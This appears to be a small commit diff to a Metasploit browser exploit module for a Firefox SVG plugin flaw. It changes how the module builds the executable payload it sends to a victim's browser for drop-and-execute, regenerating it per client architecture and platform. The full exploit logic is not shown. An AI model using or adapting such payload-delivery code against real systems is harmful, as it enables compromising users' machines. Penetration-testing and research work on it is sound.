Use renegerate_payload(cli, ...).

modules/exploits/multi/browser/firefox_svg_plugin.rb

@@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		elsif request.uri =~ /\.bin/
 			# send the binary payload to drop & exec
 			print_status("Child frame navigated. Sending binary payload to drop & execute.")
-			send_response(cli, dropped_file_contents, { 'Content-Type' => 'application/octet-stream' })
+			send_response(cli, dropped_file_contents(cli, my_target), { 'Content-Type' => 'application/octet-stream' })
 		else
 			# send initial HTML page
 			print_status("Sending #{self.name}")
@@ -120,8 +120,8 @@ class Metasploit3 < Msf::Exploit::Remote
 		handler(cli)
 	end
 
-	def dropped_file_contents
-		generate_payload_exe
+	def dropped_file_contents(cli, my_target)
+		regenerate_payload(cli, my_target.arch, my_target.platform, my_target).encoded_exe
 	end
 
 	def get_target(agent)